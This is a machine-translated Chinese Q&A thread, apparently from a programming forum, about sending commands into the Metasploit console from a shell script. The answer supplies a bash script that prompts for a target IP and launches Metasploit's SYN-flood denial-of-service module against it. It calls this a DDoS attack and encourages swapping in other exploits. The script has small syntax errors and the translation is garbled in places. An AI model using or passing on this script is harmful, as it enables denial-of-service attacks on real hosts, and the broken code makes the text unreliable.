2017-04-22 85 views
1

我正在编写一个脚本来自动化met​​asploit,现在我的脚本工作正常,直到我需要在终端上运行的命令,但是当我尝试运行我必须在内部执行的命令时metasploit控制台脚本停止,直到我手动退出控制台,然后它将从下一行继续。编写脚本在控制台内运行命令

当您运行metasploit时,它将在您可以运行命令的终端内部打开一个控制台(msfconsole)。

如何在我的脚本中添加特定命令以在控制台内部运行?

这些是我想要运行的命令:

msfconsole (this command starts the metasploit console, this command works fine in the script) 
search netapi (This searches the exploit i want to use, now this command is to be entered inside the console which my script cannot do) 

这一切的命令需要在控制台中输入后,控制台看起来是这样的:MSF>

+0

什么是你的脚本是,shell脚本或Python或红宝石? – LethalProgrammer

+0

其shell脚本 – HeroicJokester

+0

你问在shell脚本中如何运行特定的命令,你的意思是'ls,cat,ps'是什么类型的命令? – LethalProgrammer

回答

1

我认为你是寻找这样的事情

#!/bin/bash 
    TARGET 
    echo " Choose who to DDoS (IP address ONLY), use nslookup < URL> to get IP address" 
    read TARGET 
    msfconsole -q -x "use auxiliary/dos/tcp/synflood;set RHOST $TARGET; exploit; 

这将msfconsole推出,使用/ DOS/TCP/syn淹没辅助,并启动对目标DDOS攻击,这是一个IP地址类型由 用户。 您可以编写其他脚本使用此方案来自动Metasploit的,只是改变了开发和变量 不要忘记做一个搭配chmod + X yourscript.sh允许执行 也看看这个:https://www.offensive-security.com/metasploit-unleashed/writing-meterpreter-scripts/